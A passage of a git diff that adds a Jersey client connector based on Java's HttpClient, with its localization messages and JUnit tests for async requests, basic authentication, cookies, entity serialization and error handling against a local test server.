-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on
+ * Java's {@link java.net.http.HttpClient}.
+ */
+package org.glassfish.jersey.jnh.connector;
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties
new file mode 100644
index 0000000..289b5e3
--- /dev/null
+++ b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+error.body.publisher=Could not determine BodyPublisher for entity.
+error.invalid.class={0} is not an instance of {1}. Ignoring property.
+error.invalid.entity=Could not serialize entity.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JavaConnectorProvider.
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java
new file mode 100644
index 0000000..6d6e3c0
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+/**
+ * An abstract base class for tests of the {@link JavaNetHttpConnector} providing common resources and utility methods.
+ */
+abstract class AbstractJavaConnectorTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(AbstractJavaConnectorTest.class.getName());
+ public static final String RESOURCE_PATH = "java-connector";
+
+ @Path(RESOURCE_PATH)
+ public static class JavaConnectorTestResource {
+ @GET
+ public String helloWorld() {
+ return "Hello World!";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirectToHelloWorld() throws URISyntaxException {
+ return Response.seeOther(new URI(RESOURCE_PATH)).build();
+ }
+
+ @POST
+ @Path("echo")
+ @Produces(MediaType.TEXT_PLAIN)
+ @Consumes(MediaType.TEXT_PLAIN)
+ public String echo(String entity) {
+ return entity;
+ }
+
+ @POST
+ @Path("echo-byte-array")
+ @Produces(MediaType.APPLICATION_OCTET_STREAM)
+ @Consumes(MediaType.APPLICATION_OCTET_STREAM)
+ public byte[] echoByteArray(byte[] byteArray) {
+ return byteArray;
+ }
+
+ @POST
+ @Path("async")
+ public void asyncPostWithTimeout(@QueryParam("timeout") @DefaultValue("10") Long timeoutSeconds,
+ @Suspended final AsyncResponse asyncResponse,
+ String message) {
+ asyncResponse.setTimeoutHandler(asyncResponse1 ->
+ asyncResponse1.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Timeout").build()));
+ asyncResponse.setTimeout(timeoutSeconds, TimeUnit.SECONDS);
+ CompletableFuture.runAsync(() -> {
+ try {
+ Thread.sleep(3000);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ throw new RuntimeException(e);
+ }
+ })
+ .handleAsync((unused, throwable) -> throwable != null ? "INTERRUPTED" : message)
+ .thenApplyAsync(asyncResponse::resume);
+ }
+ }
+
+ protected Response request(String path) {
+ return target().path(path).request().get();
+ }
+
+ protected Response requestWithEntity(String path, String method, Entity<?> entity) {
+ return target().path(path).request().method(method, entity);
+ }
+
+ protected Future<Response> requestAsync(String path) {
+ return target().path(path).request().async().get();
+ }
+
+ protected Future<Response> requestAsyncWithEntity(String path, String method, Entity<?> entity) {
+ return target().path(path).request().async().method(method, entity);
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(JavaConnectorTestResource.class)
+ .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java
new file mode 100644
index 0000000..2df4ad4
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatCode;
+import static org.awaitility.Awaitility.await;
+
+/**
+ * Tests asynchronous and interleaved requests.
+ */
+public class AsyncTest extends AbstractJavaConnectorTest {
+ /**
+ * Checks, that 3 interleaved requests all complete and return their associated responses.
+ * Additionally checks, that all requests complete in 3 times the running time on the server.
+ */
+ @Test
+ public void testAsyncRequestsWithoutTimeout() {
+ Future<Response> request1 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request1"));
+ Future<Response> request2 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request2"));
+ Future<Response> request3 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request3"));
+
+ assertThatCode(() -> {
+ // wait 3 times the processing time and throw if not completed until then
+ await().atMost(3 * 3000, TimeUnit.MILLISECONDS)
+ .until(() -> request1.isDone() && request2.isDone() && request3.isDone());
+ String response1 = request1.get().readEntity(String.class);
+ String response2 = request2.get().readEntity(String.class);
+ String response3 = request3.get().readEntity(String.class);
+ assertThat(response1).isEqualTo("request1");
+ assertThat(response2).isEqualTo("request2");
+ assertThat(response3).isEqualTo("request3");
+ }).doesNotThrowAnyException();
+ }
+
+ /**
+ * Checks, that a status {@link Response.Status#SERVICE_UNAVAILABLE} is thrown, if a request computes too long.
+ */
+ @Test
+ public void testAsyncRequestsWithTimeout() throws ExecutionException, InterruptedException {
+ try {
+ Response response = target().path("java-connector").path("async").queryParam("timeout", 1)
+ .request().async().post(Entity.text("")).get();
+ assertThat(response.getStatus()).isEqualTo(Response.Status.SERVICE_UNAVAILABLE.getStatusCode());
+ assertThat(response.readEntity(String.class)).isEqualTo("Timeout");
+ } catch (InterruptedException | ExecutionException ex) {
+ throw new RuntimeException("Could not correctly get response", ex);
+ }
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java
new file mode 100644
index 0000000..677d4d0
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.net.Authenticator;
+import java.net.PasswordAuthentication;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+ private static final String PATH = "test";
+
+ @Path("/test")
+ @Singleton
+ public static class AuthResource {
+
+ int requestCount = 0;
+
+ @GET
+ public String get(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return "GET";
+ }
+
+ @GET
+ @Path("filter")
+ public String getFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return "GET";
+ }
+
+ @POST
+ public String post(@Context HttpHeaders h, String e) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return e;
+ }
+
+ @POST
+ @Path("filter")
+ public String postFilter(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+
+ @DELETE
+ public void delete(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+ }
+
+ @DELETE
+ @Path("filter")
+ public void deleteFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+ }
+
+ @DELETE
+ @Path("filter/withEntity")
+ public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testAuthGet() {
+ ClientConfig config = new ClientConfig();
+ config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new Authenticator() {
+ @Override
+ protected PasswordAuthentication getPasswordAuthentication() {
+ return new PasswordAuthentication("name", "password".toCharArray());
+ }
+ });
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthPost() {
+ ClientConfig config = new ClientConfig();
+ config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new Authenticator() {
+ @Override
+ protected PasswordAuthentication getPasswordAuthentication() {
+ return new PasswordAuthentication("name", "password".toCharArray());
+ }
+ });
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthDelete() {
+ ClientConfig config = new ClientConfig();
+ config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new Authenticator() {
+ @Override
+ protected PasswordAuthentication getPasswordAuthentication() {
+ return new PasswordAuthentication("name", "password".toCharArray());
+ }
+ });
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().delete();
+ assertEquals(response.getStatus(), 204);
+ client.close();
+ }
+
+ }
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java
new file mode 100644
index 0000000..b57107c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import java.nio.charset.StandardCharsets;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatCode;
+
+/**
+ * Checks, that request entities are correctly serialized and deserialized.
+ */
+public class BodyPublisherTest extends AbstractJavaConnectorTest {
+ /**
+ * Checks with a simple plain text entity.
+ */
+ @Test
+ public void testStringEntity() {
+ Response response = this.requestWithEntity("java-connector/echo", "POST", Entity.text("Echo"));
+ assertThat(response.getStatus()).isEqualTo(200);
+ assertThatCode(() -> {
+ assertThat(response.readEntity(String.class)).isEqualTo("Echo");
+ }).doesNotThrowAnyException();
+ }
+
+ /**
+ * Checks with an octet stream entity.
+ */
+ @Test
+ public void testByteArrayEntity() {
+ String test = "test-string";
+ Response response = this.requestWithEntity("java-connector/echo-byte-array", "POST",
+ Entity.entity(test.getBytes(StandardCharsets.UTF_8), MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertThat(response.getStatus()).isEqualTo(200);
+ assertThatCode(() -> {
+ assertThat(response.readEntity(byte[].class))
+ .satisfies(bytes -> assertThat(new String(bytes, StandardCharsets.UTF_8)).isEqualTo("test-string"));
+ }).doesNotThrowAnyException();
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java
new file mode 100644
index 0000000..31eda93
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.CookieManager;
+import java.util.Collections;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+@Path("/")
+public static class CookieResource {
+ @GET
+ public Response get(@Context HttpHeaders h) {
+ Cookie c = h.getCookies().get("name");
+ String e = (c == null) ? "NO-COOKIE" : c.getValue();
+ return Response.ok(e)
+ .cookie(new NewCookie("name", "value")).build();
+ }
+}
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(CookieResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testCookieResource() {
+ ClientConfig config = new ClientConfig();
+ config.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager());
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testDisabledCookies() throws IOException {
+ ClientConfig cc = new ClientConfig();
+ cc.property(JavaNetHttpClientProperties.DISABLE_COOKIES, true);
+ cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager());
+ cc.connectorProvider(new JavaNetHttpConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+
+ CookieManager manager = new CookieManager();
+ manager.getCookieStore().getCookies();
+
+ final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector();
+
+ if (connector.getCookieHandler() != null) {
+ assertTrue(connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).get("Cookie").isEmpty());
+ } else {
+ assertNull(connector.getCookieHandler());
+ }
+ client.close();
+ }
+
+ @Test
+ public void testCookies() throws IOException {
+ ClientConfig cc = new ClientConfig();
+ final CookieManager manager = new CookieManager();
+ cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, manager);
+ cc.connectorProvider(new JavaNetHttpConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+
+ final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector();
+ assertNotNull(connector.getCookieHandler());
+ assertEquals(1, connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).size());
+ assertEquals("value", manager.getCookieStore().getCookies().get(0).getValue());
+ client.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java
new file mode 100644
index 0000000..f1af21c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+
+public class EntityTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class EntityResource {
+
+ @GET
+ public Person get() {
+ return new Person("John", "Doe");
+ }
+
+ @POST
+ public Person post(Person entity) {
+ return entity;
+ }
+
+ }
+
+ @XmlRootElement
+ public static class Person {
+
+ private String firstName;
+ private String lastName;
+
+ public Person() {
+ //For JAXB processing
+ }
+
+ public Person(String firstName, String lastName) {
+ this.firstName = firstName;
+ this.lastName = lastName;
+ }
+
+ public String getFirstName() {
+ return firstName;
+ }
+
+ public void setFirstName(String firstName) {
+ this.firstName = firstName;
+ }
+
+ public String getLastName() {
+ return lastName;
+ }
+
+ public void setLastName(String lastName) {
+ this.lastName = lastName;
+ }
+
+ @Override
+ public String toString() {
+ return firstName + " " + lastName;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider())
+ .register(JacksonFeature.class);
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+ .post(Entity.xml(new Person("John", "Doe"))).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+ .get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java
new file mode 100644
index 0000000..960f063
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(ErrorResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+
+ @Path("/test")
+ public static class ErrorResource {
+ @POST
+ public Response post(String entity) {
+ return Response.serverError().build();
+ }
+
